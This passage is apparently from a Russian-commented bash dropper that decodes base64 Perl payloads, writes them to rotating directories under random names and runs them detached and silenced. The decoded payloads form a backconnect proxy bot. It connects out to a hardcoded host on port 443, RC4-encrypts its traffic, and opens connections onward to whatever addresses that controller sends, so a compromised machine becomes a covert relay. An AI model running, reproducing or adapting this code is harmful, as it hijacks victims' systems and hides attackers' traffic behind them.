ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #20 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #20 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 21 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz 